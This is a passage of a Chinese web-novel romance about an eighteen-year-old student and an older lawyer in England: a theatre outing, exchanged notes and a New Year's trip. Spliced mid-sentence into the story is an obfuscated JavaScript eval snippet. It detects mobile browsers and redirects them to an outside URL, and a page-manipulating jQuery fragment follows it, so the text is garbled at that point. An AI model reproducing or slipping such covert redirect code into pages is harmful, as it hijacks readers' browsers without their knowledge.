她大概率没有意识到牛奶泼到她上身时形成了一种怎样的暗示。 她只是想到昨晚还在跟傅令絮说“她又不是小孩子”,只好自然又窘迫地解释着,“可能是漏电,突然手都麻了一下,线不小心撞到牛奶瓶……” 傅令絮看起来比她镇静许多,“英国经常下雨,线路老化。” 他看向穗和的手,被她察觉,主动抬起来,“手是没事的……” 转而,有点茫然地摸了摸自己的后颈。 从洗澡时就开始有点疼,尤其是手触上去的时候, 她微微吃疼的神态被傅令絮看尽眼里,顿了几秒,将更亮的白灯打开,走到她身边,先将吹风机的插头拔了,再低着眼眸看向她,“后颈。” “有点疼……” 傅令絮“嗯”了一声,“转过去。” 穗和愣了一下,但还是下意识按他的话照做,“有点疼,不过不严重……” 傅令絮如实告诉她,“有两道红痕。” 穗和想到下午跟姜慧撕扯的事情,突然像是破了口的玻璃球,在地上滚动时就能听出异样,“哦,可能是我刚刚自己不小心抓破的。” 傅令絮挑了下眉,“是吗?” 不想多说,她急着转过头时,她感觉有一只手已经从她颈后擦过,带着他特有的温度,偏温热,连明晰和偏硬的骨骼好似也能在他的动作里描绘轮廓。 “没事的,我明天随便买点药涂一……” 话音刚落,傅令絮已经伸手替她解开了项链。 相比之前,没有东西刮过时,确实减少了很多刮擦带来的痛感。 穗和慌乱地说着“谢谢”,突然转过脸面向窗外,像是只有吹进更猛烈的夜风,才能让她的脸降下一点温度,“舒服多了,谢谢您……” 傅令絮却在她面前,定定的看着她,没有片刻挪移目光的意思。 穗和假意摆弄窗台的盆栽,很快转过头看他一眼,“怎、怎么了?” 他突然笑了一声,将掌心摊开,她的项链置于其上,“不要了?” “哦、对。” 穗和这才转过身,面对着傅令絮,正要伸手去拿,他又立即将掌心合拢。穗和不解地抬起头,只觉他的声音仿佛就在耳际,“手张开。” 有什么不同? 穗和乖顺又疑惑地照做,冲他摊开掌心。 只见他将那条项链扣到她的手掌心,他的手掌张开着覆上来几秒,像是能包裹住她的所有,又像只是想跟她对比一下掌心大小。 这种沉默和掌心的温热,让她感觉心脏快承受不了。 她忽然说,“我今天去找了姜慧,就是她男朋友喊我去的酒吧,还害我丢了一件喜欢的大衣。” “嗯。” 穗和又看向别处,说得满不在意,声音却是越来越小声,“我本来是想去拿回行李,但是他们……好像还在警局,不知道会怎么样。” 傅令絮习惯直接提问,“你想怎么处理?” “我想怎么处理都可以吗……” 傅令絮与她对视一眼,确定说,“嗯。” “我确实没什么事,就算他们受到惩罚,我也不会有实际的快感。”穗和轻轻抿了下唇,脸上是茫茫然的神情,有意识的把话咽了回去。 她发觉傅令絮这样的人,既是危险的君子,又是温柔的坏人。 明明相识不过几天,对他的事情也知之甚少,却能让人轻易卸下心防。纵然他不适用那些他擅长的谈话技巧,她也差点忍不住提及自己不值一提的小情绪。 “但是不出口气心里又会不舒服,要不然……您教教我?”她嘴里念着,越说越不自信,“电视剧里律师好像都有很多折腾人的方法……” “学点好?”傅令絮轻轻笑出声,“我帮你把他们的腿打断。” “啊?” “或者我去查查股东资质,回国把他们的家底抄了?” 穗和望向他游刃有余的笑意,一时分不清他是不是在开玩笑了,绷着一张小脸,居然认真想了想才对他说,“那不至于,祸不及家人,也没必要浪费您的精力……” “我说什么你都信。” 大概是想到自己信以为真的傻样。 她突然被逗笑,“……那您说得这么认真。” 傅令絮在暗处摩挲了一下手指,手背上的青筋脉络蜿蜒着,突然很想抚上她泛着红的眼角,“终于笑了?”不容易,不好哄。 “我没事的,只是没想到一趟旅游失去了一个认识了很久的好朋友。其实相比难过和生气,我更不理解。”穗和感激得看他一眼,耸了下肩膀,“这两天过得太混乱,可能过段时间,等我回过神来,我会忍不住痛骂她几顿……” 他想说,人心难测,瞬息万变。但又觉得这些在她现在十八岁的年纪,纵然道理都了解,也很难真正打心底里接纳和释怀。 那些兵荒马乱的时刻,往往更容易在青春里留下一些印记。 何况他只擅长谈判和拿捏局势,厌恶以有限的经历对任何人说教。 穗和感慨说,“才几个月时间,像变了一个人,恋爱让人失去理智……” “看跟谁恋爱。” “也是。”穗和的语气相较之前轻松了一些,但却因为从他嘴里忽然听到“恋爱”这两个字,心脏像是要从嗓子眼跳出来。 她生硬地将话题跳转回去,“那……这件事怎么处理更好呢?” 傅令絮盯着她的眼睛说,“我会酌情解决。” “嗯,这件事我听您的,解决了我才能安心回伦敦……” 安静了几秒,傅令絮突然问,“这么听我话?” 穗和想了想,觉得这事还是听他的更靠谱,点头说,“嗯!” 接着,傅令絮问她,“那晚点再回伦敦?” 多晚? 到底是等阵雨,还是等天晴。 穗和垂下眼眸,飞快地抹了一下后颈的抓痕,灼灼地火烧感,假如此刻有心跳速率测试仪,她觉得她应该可以让这台机器瞬间宕机。 / 大概是老天爷听到了他们昨晚的对话,成人之美似的又下了一场雨。 茉莉花味的牙膏挤在牙刷上,穗和伸手拿水杯时,抬头看向镜子里,巴掌脸,眼窝不深不浅,眼睛最大,加上不近视,整张脸就算不化妆也显得非常明艳。 让人说话时注意力无法从她的对视里离开。 凑近镜子,发觉眼周有一些暗沉,昨晚因为傅令絮一句话而不着急失眠到凌晨四点,刚迷迷糊糊睡着,电台老情歌准时在七点穿过细雨朦朦胧胧地响起。 无意去听,却一次一次循环着:the day you went away。 你离开的那一天。 下午,为了避免没必要的麻烦,穗和没有再独自去找姜慧拿行李,而是又在茶几上抽出了一张傅令絮给的现金,就近找了家商场,买了几件便宜的换洗衣服。 穗和挑的全是纯棉、纯简的设计,既能当睡衣,也能外穿。 心满意足地走出去,才发现玻璃柜上挂着卡通图片,写着:周四六折。 而周四就在明天。 心情顿时暗淡,比天色还要蓝灰,穗和觉得不能还价也就算了,错过打折在缺钱的时刻简直是罪过,于是买了面包当午餐,预备晚餐以酒店免费牛奶充饥。 回到酒店,好不容易伸手刚刚挤入电梯,却忽略 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像是忘记置身何处,穗和明明已经看清了屏幕上闪烁的备注,却怔了好几秒,才恍惚着赶紧接起来,“您、您好……” 傅令絮问道,“今天过得好吗?” “嗯?哦,挺好的呀。”穗和揉了揉自己的额头,说道,“我今天出去了一趟,就在附近逛了逛……因为办理证件的窗口还没有开放。” 他平声继续问,“吃过了?” 穗和避重就轻地回答,“中午吃太多了,晚上喝一瓶牛奶就够了。” 电话里传来汽车鸣笛的声音,像是在路上,穗和主动问,“您在开车?” “嗯。” “哦……”好像没有闲聊的话题,话卡在嘴里,纠结了几秒钟,最终还是猛吸了一口气,轻声但飞快地说,“那您注意安全,今天雨大。” 她说话时,刚好又有一声短促的鸣笛,像是大雨堵车令人烦躁的情绪。 傅令絮没有听清,问她,“你说什么?” “哦,没有,我说……”穗和赶紧扯到眼前茶几上的现金,“我说,我今天又跟您借了一点钱,买了一些必需品。” 傅令絮顿了一下,“又给我写借条了?” “……嗯。” 傅令絮说,“再多几张我得专门买个钱包装。” “……那我改用Excel记录下?” 安静了几秒,像是没料到有这样的回答。 傅令絮淡淡说,“怎么不做成PPT?” 十八岁的女孩子,一紧张就什么都当了真,“啊,没这么复杂吧……” 傅令絮刚好在十字路口拐弯,听见穗和那边出现按门铃的声音,让她先去开,好似知道是什么人来找,“半小时后,到大厅等我。” 穗和穿好拖鞋,尽量控制着语气,随意问着,“要做什么吗?” 傅令絮催她去开门,只说是,“秘密。” 挂了电话,穗和脸上还带着笑意,开门接过一大束香槟玫瑰,她抱在胳膊上发愣,想说,可能是送错房间了。 服务生抢先一步问她,“需要插花吗?” “哦,不用了,谢谢。” 这令她想起昨天见到的垂丝茉莉,每天换花像是这家酒店的安排,也有可能是傅令絮的习惯,直到她低下头瞧见花间的小纸片—— Never love anyone who treats you like you''re ordinary. Regardless of is love or the friendship. 傅令絮。 永远不要爱上那些待你如常的人。 无论友情,还是爱情。 她手指微凉地描摹着他的名字,送花连卡片都要亲手写。 玫瑰晚到,却跨越了半个南安普顿的疾风劲雨。 这一瞬间,呼吸捕捉到浓郁微甜的气息。 5. 戏剧 -05- 穗和低头看着臂弯里的花,好似确认,“……给我的。” 她没有时间胡思乱想,利用仅剩的半小时下了一趟楼,几乎顾不上打伞,冲进酒店对面的便利店里,好不容易才从角落里找到唯一一支豆沙色唇膏。 回到房间,穗和随意吹干长发,任其在大半干燥的状态下微微发卷。 然后,迅速换上下午买的纯白色紧身高领针织衫,外搭密罗里蓝吊带长裙,灯芯绒材质在玄关的壁灯下,像是镀了一层温柔色调的银边。 有那么几秒,她忽然庆幸没有早点知道明天才是打折日。 她弯下腰穿回傅令絮送的那双高跟鞋时,盯着她叠好在枕头上的风衣看了一眼,伸手去拿,又很快抽回来,沉吟着弓起食指,用拇指关节轻扣了两下牙齿。 最终还是没有足够的底气将它重新穿上,出现在所有者面前。 雨水浇在路面上,溅起的水花落在半闭合的花叶上,穗和推开玻璃门一眼便看见了马路对面的傅令絮,他倚着车门,正拄着伞,接通电话。 水汽漫延在天地之间,虚浮地遮掩着古典对称的乔治亚风格建筑,门梁有竖行排列的镂空花纹,屋檐上有齿饰,双折线屋顶藏于风起时摇曳的葡萄藤后。 枝形吊灯从玻璃天花板垂吊,与路灯光交相辉映,一黄一白。 傅令絮没有穿外套,神色看起来也是随意倦懒的,像是下车透口气,但峻拔清冷的气质,自然而然地吸引着路过的目光。 当然,也包括穗和的。 当她意识到这一点时,心有余悸地赶紧撑开伞。 一把前台借用的黑色立伞几乎能将她整个人遮挡。 此时,傅令絮正望着身后的建筑微微出神,回头没见到人,再次把注意力转移向建筑物上那些蔓延着的紫藤萝,耐心地看着缝隙里飞出烟灰色的蜻蜓。 这通电话是他主办的公司并购案合作律师——钟薇拉打来的,她简明扼要复述了下午后半程会议的决策结论,这本该是文字邮件可以传递清晰的事情。 傅令絮逐渐显出不耐烦的神情,“Vera,还有别的事情吗?” “没有。”对方倒也坦诚,言语里不藏半点心思,只是尽量将语气拿捏得更不在意一点,”只是从没见过你中途离开会议,好奇……你是不是有什么重要的私人约会。” 她刻意将咬字重音落在“约会”上。 傅令絮微沉着声音,“知道就不要为这种事打电话来。” “看样子是我打扰到你了。“乔薇拉脸色一沉,反而笑了一声,“OK,不耽误你时间,可惜了,本来还想约你喝杯好酒,听周律师说你是这方面的行家。” “误会,我不喝酒。“ “哦?听说周律师是你的工作伙伴兼高中学弟,认识十几年也会弄错?”乔薇拉像是逮住了话口就不肯松开,“那周律师可太不严谨了哦。” “那就等他从非洲常驻回来,你找他细聊。” 相比被四两拨千斤的拒绝,钟薇拉更觉得惊讶,下午不是还在会议室见到周律师提着一个女装礼盒,嘴里一直在抱怨着就不该跟着傅令絮出去。 甚至嚷嚷着让傅令絮赶紧给他赔偿金,他跟着差点跑断腿。 她仔细回想那一幕,语气仍是犹疑,“周律师什么时候去非洲了?” 傅令絮已经没了多余的情绪,冷声道,“我会让他今晚就出发。” 等他挂了电话,刚转过身,穗和已经以龟速挪到了他身边。 她装作也是刚刚到的样子,目光从他的手机上扫过,只是微笑着,在傅令絮沉着双眸望向她的那一刻,突然不知道怎么开口打招呼。 反而是他迅速打量了她一身新装,顿了几秒,先出声问,“不冷?” 夜风像是洪水出闸,冷得人禁不住打个哆嗦,穗和一开口才发现她连声音都被风吹得断续着,“有一点,不过在室内不冷……” “跟我过来。” 穗和反应了一霎,才跟着傅令絮往车后走,见他打开车备箱,她的绿色中号行李箱置于其中,连她用来辨认的大二狗贴纸都被抚平。 她脸上藏不住惊喜,但当目光扫到行李箱旁边的女装礼盒时,连呼吸都一滞,用余光飞快地瞥了他一眼,尽量将语气拿捏得随意一些,“您帮我拿了行李?” 雨声太大,盖过交谈,光听清就让人费劲。 没等到傅令絮的回答,穗和已经开始觉得懊恼,她这是问了什么蠢问题。 穗和轻声问他,“他们没有为难你吗?” “他们是谁?” “就……姜慧,还有她男朋友,男朋友的朋友,这些。” “没有,合理取回。”傅令絮没有继续说,好似替她取回行李只是顺便为之,无处细说,也不值一提。说完,他忽然握上穗和的手,准确来说是她手中的伞柄。 “穿外套。” 他的手指发凉,手掌心却仍是温热,声音传到她耳边,“松手啊。” “哦、哦……” 穗和怔了一秒,大致理清了他的意图,等她松开手前倾着身体去摸行李箱拉链时,傅令絮借腰腹力量抵着伞柄,用了一次性收好伞。 一把大伞完全足够遮挡两个人,傅令絮却仍然绅士地向着她那侧倾斜了大半。 另一只手挡在车后盖的边缘,以防穗和起身时不小心撞上去。 穗和的眼神仍在扫过那个女装礼盒时顿了一下,这是她喜欢的国风小众品牌,主打纯简高级的少女风,无限的留白之中融入一处显眼的少女感。 被酒水打湿后丢弃在警察局的那一件也出自这家。 越是心虚不定,越是身后的气息贴近,穗和越是拉不顺拉链。 遇到磕绊时她没在意地猛地一使劲,差点将行李箱拖出后备车外。 没等她立即做出反应,半个行李箱已经被傅令絮重新推进去。 傅令絮直起身,看她一眼,声音波澜不惊,“让你拿件衣服,就不会选旁边的?” “……旁边的。”穗和有点反应过来了,又陷入微妙的紧张,“送我的?” 傅令絮微微皱了下眉,思考了几秒,只是答非所问,“好拿。” 穗和轻轻”哦“了一声,小心的并拢手指用力将礼盒打开。 只见折叠的样式,也知道这件跟她遗落的那件是同一款,只是不同色。 她丢弃的是黑色,这件是白色。 但是它们都名为春日槐山——像是东方的花束,穿过蜿蜒的乌斯河和南纬23°的椰子群,藏进西方人的玻璃瓶,化作了初恋的前调香。 / 回到车上,傅令絮没有再多开口说话,只在中途见穗和头靠着玻璃窗往外看时,替她将空调出风口拨上去一些,避免暖气恰好对着她的眼睛熏。 将近三小时的车程,抵达坎特伯雷。 赶在十二点之前,傅令絮带着穗和赶到了Westgate公园,烟囱比凌晨的钟声更为热烈,白烟缭绕在三层楼的小型城堡上,方格窗上的灯光渐次亮起。 穗和一下子精神起来,拿食指戳了一下傅令絮的肩膀,有点兴奋地问他,“……这是不是《戏梦谋杀》的沉浸式戏剧?” “你看过了?” “没有,没有,一票难求。”穗和的注意力被眼前即将打开门的城堡吸引,“我听我爸说过好多次,他是戏剧学院教写作的老师,他很欣赏这部剧的编剧。” 说一票难求一点也不夸张。 《戏梦谋杀》的导演即为这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164967|165083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部戏剧的编剧,他每隔五年便会对外开放一次表演,每次内容也迥然不同,只是设定关联,爱情有之,悬疑,哲学亦有之。 不仅如此,每场表演仅供十三人参与,成双成对,成全爱情。 最终只存活一人。 导演本人会亲自送上安慰奖品,是他亲自设计的玫瑰发带,末尾在耳边留一颗紫灰色珍珠,全世界仅此一个,是入画的装饰品。 而选取方式更是没有规律,大约是他熟悉的朋友,有几位给他写过邮件的陌生人,也有捡到他故意遗落在慕尼黑某家咖啡店的书的旅客。 十二点的钟声敲响,整座城堡开始出现低沉优雅的大提琴声。 穗和几乎小跑着涌入人群。 她往身后挥着手臂,傅令絮则神色平静得多,没有抓住她的手掌,只是隔着衣服握紧她的手腕,只是像管理小朋友那样,扬声提醒,“不要乱跑。” 穗和没有心思顾虑这些,边疾步走着,边回头耸了下肩膀,冲他轻轻吐了下舌尖,已经提前入戏,“你快点跟上嘛,晚了我们俩会被人谋杀掉的!” 傅令絮好笑地看她一眼,“再早最终也只能存活一个人。” “我觉得你可以赢到最后。”穗和脱口而出,无意中夸赞了傅令絮一句。 她浑然不觉,着急往城堡入口走,却令傅令絮己不自觉的笑了下。 全程,傅令絮都像看住她似的,握着她的手腕。 每到分支选择,他才松开。绝大部分时间都处于黑暗之中,他们任意选择,没有刻意待在一起,却每次分开进入一间密室时,都能在下一个走廊转角相遇。 这次剧情涉及五年前的结局。 穗和没有看过,这些戏剧粉丝也友善地保密着,以至于她到此刻也没有被剧透。她只记得,名为Kerr的男主角被迫应招入伍,归来时面部毁容,相恋多年的艾米丽并不能认出他的灵魂,而他的狗可以,暗恋他多年的艾米丽的妹妹可以。 甚至只需要一眼。 这令人唏嘘,最终一幕,多面镜子被推入只有一丝光线的房间,穿梭中每个人的脸都在变幻,每个人挪动位置时,也会看见不同角度的景色。 只有开|枪|击中真人而非镜像,才能站到最后。 大约是东方人不熟悉这里的陈设和故事背景,在这种西式恐惧中可以拥有短暂的抽离感,令傅令絮和穗和最终站在了一面镜子的正反面。 谁先开枪。 谁就结束了此次的戏梦。 万籁俱寂,只有四周环绕的来自心底的声音不断在喊,“开|枪啊。” 穗和捂着耳朵,更为沉浸地被他的声音引领,她举起手中的道具,根本看不清具体的方向,甚至慌乱地闭上了双眼,却发现有人握住了她的手。 将她往前一带,抵在了自己的胸口,结束了这一切。 ………… 走出城堡良久,穗和还有点意犹未尽,就好似耳边还有人不厌其烦地引导着她,开枪啊。她微微摇晃着头,驱走心头的阴霾。 沿河漫步。 穗和的声音仍然有一些颤抖,“我刚刚好紧张啊,最后都没敢睁眼。” 傅令絮伸手随意拨了下已经戴在她头发上的珍珠,”恭喜。” 穗和想起最后那一幕,脸上微微发热,拿手扇风,“还不是你让我的……” “没有。”傅令絮单手插在口袋里,望向流动的水,“我开不了枪。” 明明是再正常不过的一句话,却让穗和脑袋空空地走起神,像是浮想联翩,又没有实际落地的心思,她也看向缓缓流动的河流,里面盛着绿荫。 她开始想起,有人说过,不止伦敦,南安普顿附近也不错。 或许她可以晚一点回伦敦。 6. 邀请。 -06- 隔日,一天安稳,穗和睡到下午,到三、四点时间才醒。天已经黑沉下来,日落跌入星野,只有一整道桔红色的晚霞,稀稀落落点带状分布。 这很像人在英国待久了的过敏状态。 漫长的乏力着,偶尔撞见意想不到的际遇,也有一些苦中作乐的意味。 傅令絮则与之相反,白天工作,保持晚归,谁也没有借任何理由拨通过对方的电话,只用那些可以称为是“借条”的文字交流。 上午。 穗和写下:今天什么事情都没做,好没力气,像生病了,都怪下雨天。 深夜。 傅令絮好似给她找补:有一种病症叫季节性情绪失调。 昨天。 傅令絮先问:出太阳了,今天过得怎么样?有精神了? 今天。 穗和实话实说:依然没有,但是吃到了美味的烤鸡!真心羡慕、敬佩和喜欢那些认真,严谨,将自己的人生打理得井井有序的人。 PS:看样子我的犯懒和你说的病症没有关联。 明天。 看见穗和的有些幼稚的字体之下,还画着一张哭脸的表情,傅令絮好笑地拿起笔,思索良久,才写上:比如,律师?医生? 这样几天不碰面的对视,像是两个人一种晦明晦暗的默契,都在努力让共处一室的气氛不那么暧昧,也让彼此之间的距离保持着适当和磊落。 / 到12月31号,2017年的最后一天。 英国的行政系统反常又短暂的恢复了几小时。 校内学生管理处打来电话,引导穗和在官网上自助打印在校证明,并且不着调地提醒她,如需帮助,可以先行报警。 原来工作踢皮球只分地区,并不分人。 上午,看着朋友圈不同庆祝新年到来的仪式感,还有越来越多的祝福留言时,穗和从床上爬起来,暂停刚看一半的电影,准备打印在读证明。 手机连接打印机蓝牙时,穗和犹豫了,想着要不要打个电话征求同意。 但是又觉得有些刻意。 明明她凡事都能记在纸上,他也会给予每一次的回应。 至少不如比在今天对他说出”新年快乐“自然。 手上的动作迟疑了几十秒,最终,她还是放下手机,掀开了机盖,捏着两张薄薄的打印纸放入卡槽,却在按下启动键之前—— 意外发现垫在打印机一角使其稳定的,是一张对折过两次的硬纸名片。 打印机轰隆隆地响着,像是与她此刻的心跳同频,刚一掀开半张名片,穗和便猛地握住掌心,任折痕轻轻地刮在她的指间,生出微微的热度。 等打印好材料,穗和伸手拿到遥控器,让电影继续放映。 她原本坐在床边,却下意识总是看向手机。 情绪像是倒放的沙漏,等待像是里面流动的沙粒,能与时间平行。 下午,等来的第一通电话是陈闻鸢打来的。 她这时正准备给傅令絮写”借条“,双腿跪在软皮椅子上,一只拖鞋吧嗒一声地掉在地面,上半身前倾着,周身大半力量全靠胳膊肘撑在桌面上。 现场导演正在训人,她几乎是尖着嗓子才能说清楚:“今天怎么过?” “没安排,要是没丢证件,在伦敦应该会跟其他留学生一起做饭。” “那太好了。”陈闻鸢说,“我有一个圈内的朋友,参加过女团选秀,你可能也认识,刚去英国读书,今晚约了一波朋友在家里开party。” “不了吧,我都不认识,到时候多尴尬。” “这有什么尴尬的,舞会、饭局这些都是寻常的社交途径,何况我已经跟她打过招呼了,她会照顾你的,都是年轻人,搞不好还有艳遇呢。” 穗和虽然为难,但态度摆得很明确,“还是不了,我看看电影也挺好的。” “怎么可能不操心……”陈闻鸢再自然不过的语气,说着,“毕竟是新年!傅令絮每年都有忙不完的应酬,你一个人在酒店待着也是无聊,不如出去见见世面。” 穗和听了几句,手上仍在一笔一划地写着字,慢慢分了神。 竟不知不觉写出了傅令絮的名字。 “你到底有没有在听我说话啊?” 穗和轻轻”啊“了一声,“姐姐你就别操心啦,我有约了……” 陈闻鸢置若罔闻,嘴里念着,“不想跟他们跨年,就见见我的朋友,三号吧,先定这一天,我拉个群,你们年轻人自己聊,不过我提醒你啊,赴宴的时候打扮得正式一点,别太学生气了,既不能输了气势,更不能输人。” 穗和无奈地说着“到时候再说吧”,陈闻鸢已经同时拉好了聊天群。 挂了电话,穗和还没来得及松一口气,气味就像是裹挟着熟悉的记忆而来,比声音更快飘到她耳边,“你今晚有约了?” 穗和倏地转过身,不受控的力道令椅子偏向某一边,其中一根椅子腿也跟着悬空,顾不上出声回答,傅令絮已经抢先一步将她捞在胸前。 宽阔有力的臂展,能轻易包围穗和的整个后背。 纵然不是猛烈的力道,也能让她感觉到明显的安全感。 只是椅子稳住地太快,他几乎立刻抽开手,却因为太过迅速而遵循惯性,骨节分明的手指,一霎时从她的胸下擦过。 傅令絮怔了一下,站远一步,垂下手臂时紧紧握了下拳,只一秒又松开。 穗和没有看向他,只是赶紧扑在桌面,将写好的纸条全部藏于胳膊下。 她仓促的情绪打乱了语言系统,“你、您今天没去工作啊?” “上午去了。” “那您今天下午一直在房间?” “嗯。” “……可能因为我没有出房间,没发现您回来了。” 穗和悻悻地想着,她下午好像在客厅放声唱着《奇妙仙子》的主题曲《Fly to your heart》,甚至模仿翻译腔用中文说了好几遍,”哦,我可爱的花花草草,你们长得真好!只要你们给我行礼,我就开始抖落翅膀上的仙尘,因为我是爱吃南瓜松饼的奇妙仙子……啊,就让我们继续生长,一起迎接春天的气息——“ 想到这,穗和赶紧微微摇头,改口说,“哦,那个,我借用了一下您的打印机。” 傅令絮神色如常,目光落在她的臂弯之下,又转回到她的脸上,微微发热,连累耳朵,精巧饱满的耳垂几乎红透,“看见了。” “我打印了在读证明。”明明已经想留下,但是一面对他矜 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穗和直起身,脚踩在拖鞋上,其实大脑是空白的,但还是忍不住飞快地看他一眼,不甘示弱地仰起头,“才不是,这是我的。” 傅令絮玩味地盯着她看,“你的?” 说话时,他已经做出要打开名片的动作,被穗和伸手一把握住,手指叠在一起,暗暗用力,眼神也没有人躲避,“我捡的,不行啊……” 傅令絮突然手一松,穗和刚好使劲,她人不受控制地往后一仰,胡乱冲着空气挥手,椅子发出哐当惊扰的响声,在将要摔下去的那一刻—— 傅令絮稳稳地抓住她的胳膊,往自己身前一带。 令她只能借力倒在他身上,偏过头,胳膊穿过他的肩膀。 像是刚刚好向他投来一个结实的拥抱。 却被穗和以手推在他的肩膀借力结束。 好似猜到她下一秒就会像摸到烫手山芋一样躲开,傅令絮好笑地将手插回西装口袋里,“有我的号码,还要什么名片。” 穗和大口呼吸着空气,从椅子上下来,彻底站稳。 她拧着眉心,有点懊恼,不知道生着自己哪门子气的样子,让傅令絮一直盯着她看,差点忘记再问一次,“今晚有约了?” 穗和闷哼一声,”想有就可以有啊。” 哪怕去商场给陈闻鸢买齐她要的包和化妆品也可以…… “那就是没有。“ 明明是寻常一句话,穗和却突然挺直了后背,含着点促狭的笑意,向他投去疑问的目光,又像是在自顾自地念叨,”……没有怎么了。” “这是邀请。” 穗和也不知道是哪里来的勇气,也不知道是哪里来的怒气,稀里糊涂接了句,“没人约才能跟您一起凑合跨年?那我有人约的……” “我的话是这么理解的?” “……那怎么理解?” 傅令絮凑近一步,低下眼睑,尽量实现与她平齐,明明有相隔着礼貌的距离,穗和却觉得鼻尖有点痒,正要别开眼时,被他伸手在脑门上弹了一下。 “我难道要行个礼才能邀请你陪我跨年?”傅令絮无语的笑了一声,“这位爱吃南瓜松饼的奇妙仙子。” 7. 极光 -07- 傅令絮说完邀请,室内气氛就好似刚掀开了烧水壶的盖子,热气迎面蒸腾到穗和的脸上,她没有正面答复,眼睫忽闪了几下,脸上没有显露的惊喜凝结在了眼底。 心里的期待轻易被傅令絮一句话勾起,不单是因为他的跨年邀约。 更是因为以傅令絮的为人,纵然相识不久,也能让穗和笃信,他绝非是个会临时起意的人,当他轻描淡写说出口时,对方基本已经丧失了拒绝的可能。 穗和沉吟了几秒,猜到他不会回答,仍然问他,“我们是出去吃饭吗?” “换衣服。” 穗和抬眼看了下墙上缓慢移走的时钟,才下午三点多,“现在是不是有点早?“ 她明知故问,猜到他一定还有别的安排。 傅令絮像是被提醒了时间,低头抬腕看了下手表,“再晚赶不上车了。” 穗和微微诧异,不用对视也能觉察到傅令絮微沉的目光,垂在身侧的双手因为局促而交叉在身前,“……那我先回房间换衣服了。” “嗯。” 穗和回到房间,几乎不做犹豫,能供她选择的范围只有带来旅游的几件,都躺在行李箱里,连酒店的衣架都挂不满,首饰也只有一条项链,被傅令絮解下来以后,一直放在床头柜上,一颗饱满透亮的紫灰色珍珠在阴天的房间微微闪烁。 想着如果要吃饭,傅令絮大概率会带她去高档餐厅吃饭。 穗和将拿起来的牛仔裤放下,仍是选了一条米色紧身针织裙,深V设计,只有胸前那一颗最底下的纽扣是镶死的金属纽扣,往上两颗无论敞开或是系紧,都像是在优雅正式里融入了新鲜的纯欲感,将暧昧和性感变得更为敞亮和大方。 在系领口最后那颗扣子时,傅令絮在外轻敲房门。 “请进。”说完,穗和才发现她锁上了门,一边低头去看纽扣,一边伸手旋开门锁,急忙说,“我穿个大衣就可以出发了,很快。” 傅令絮站外门外,看着她几秒才出声,“穿厚一点,把行李箱带上。” “行李箱也要带?”穗和稍微发愣,“那我再收拾一下。” 傅令絮没有催促她的意思,“不急,先拿材料给你。” 穗和轻声“嗯”一下,尾音上扬,“什么材料?” “临时身份证明。” “……您都替我办理好了?”穗和手上动作一滞,干净剔透的眼眸里闪过一丝不解,声音越说越轻,“谢谢您,那我回伦敦就方便多了……” “就给你打印了一份。” 送她回伦敦和一起跨年好像确实并不冲突? ……都让她带上行李箱了。 一定是英国的天气过于潮湿,室内的暖气又过于干燥,导致穗和的思绪都没办法很快捋清楚,她索性别开眼,直接问出口,“是今天就回伦敦吗……” 傅令絮听她重提回伦敦,沉默了几秒。他望向她,眉眼清峻,明明只是如常的声音,却像是绒毛扫在了她的眉心,“这么着急?” 穗和摸不准他的意思,隐晦地回答,“担心时间久了给您添麻烦……” 显然这个客套的说法并不能说服傅令絮。 他下颌微微扬了下,语气变得清淡,“担心添麻烦,还是不乐意领我的人情?” 目光落在她脸上,好像她此刻非回答不可。 明知道这样跳过话题有一点生硬和自暴自弃的意味,穗和还是尽力冲他挤出一个清丽的笑容,“不是车要赶不上了吗?我们得抓点紧出门。” 傅令絮已经将胳膊自然垂下,捏紧她的材料袋。 见她因为紧张而不自知的眨了几下眼睛,神情有了微小的变化,好似是被他的问题难住了,傅令絮几乎是用自嘲的语气说了句,“你在怕什么?” 在怕车晚点,在怕领他人情。 还是其他什么虚无迷离又实际惊扰过的东西。 / 前二十分钟车程,穗和几乎都没往窗外看,阴阴沉沉的天气,像极了小学语文考试题,烘托着分别的悲凉意境,也很符合车内安静的气氛。 抵达目的地,穗和才反应过来,这里不是火车站,而是机场。 她有好几次已经微微张口,想问他,来机场做什么。 但是仿佛能想到傅令絮冷淡的语气,直白地指出她的错误理解——怎么火车只要一小时,就不能选坐飞机回伦敦? 穗和跟在他身边,心虚地瞥了他一眼。 仍在懊恼自己将他原本有意的安排和借机送她回伦敦混为一谈,好似承认她想多留在他身边几天,会让她显得很随便,也会让这种惊艳的邂逅变得寻常又廉价。 虽然明知道他不会这样看待她。 这样想着,穗和就更开不了口,索性一路安心地跟上他。 傅令絮扫了一眼四周,指下不远处的取票机,先嘱咐穗和,“你去那边等我。” “……好。”穗和眼神落到他手指上,“行李箱也给我吧。” “不用。” 傅令絮很快回来,手上拎着打包好的麦当劳,自然而然地地给她,转身去取自己的机票,“路上没有时间专门吃晚饭,先凑合着吃一点。” 穗和之前的情绪阴霾被机票目的地一扫而空,声音都重新带着笑意,故意问,“……我们是要去爱丁堡啊?” “想去伦敦也不是不行。” 果然,已经料想到他会有这样的回答,穗和自知有些理亏,冲他展颜一笑,深深闻了一下麦当劳纸袋,“还是南安普顿的东西更香。” “又不是我做的。” 说话时,穗和看见他语气明显缓和了许多,都能正常开玩笑了,心里像是慢慢在落潮,翻涌已过,接着没话找话,扬着手里的机票认真说,“我以为你们这样的有钱人是不会去Northlink买打折机票的,您真是勤俭持家。” 傅令絮好笑地重复了一遍,没听谁这样形容过他,“……勤俭持家。” 见他好像不是很满意,穗和想了想,疑惑着问,“精打细算?” 傅令絮朝她看过来,甚至已经冲她抬起了胳膊,她赶紧改口解释,“芝兰玉树!温文儒雅!我懂了,夸人有钱不如夸人可爱,夸人可爱不如夸人漂亮。” 傅令絮无语的看她一眼,手只是落在她的身前,伸进麦当劳纸袋里,拿出一个汉堡递给她,平声催促她,“好好吃饭。” / 飞机一个半小时落地,抵达爱尔兰机场。 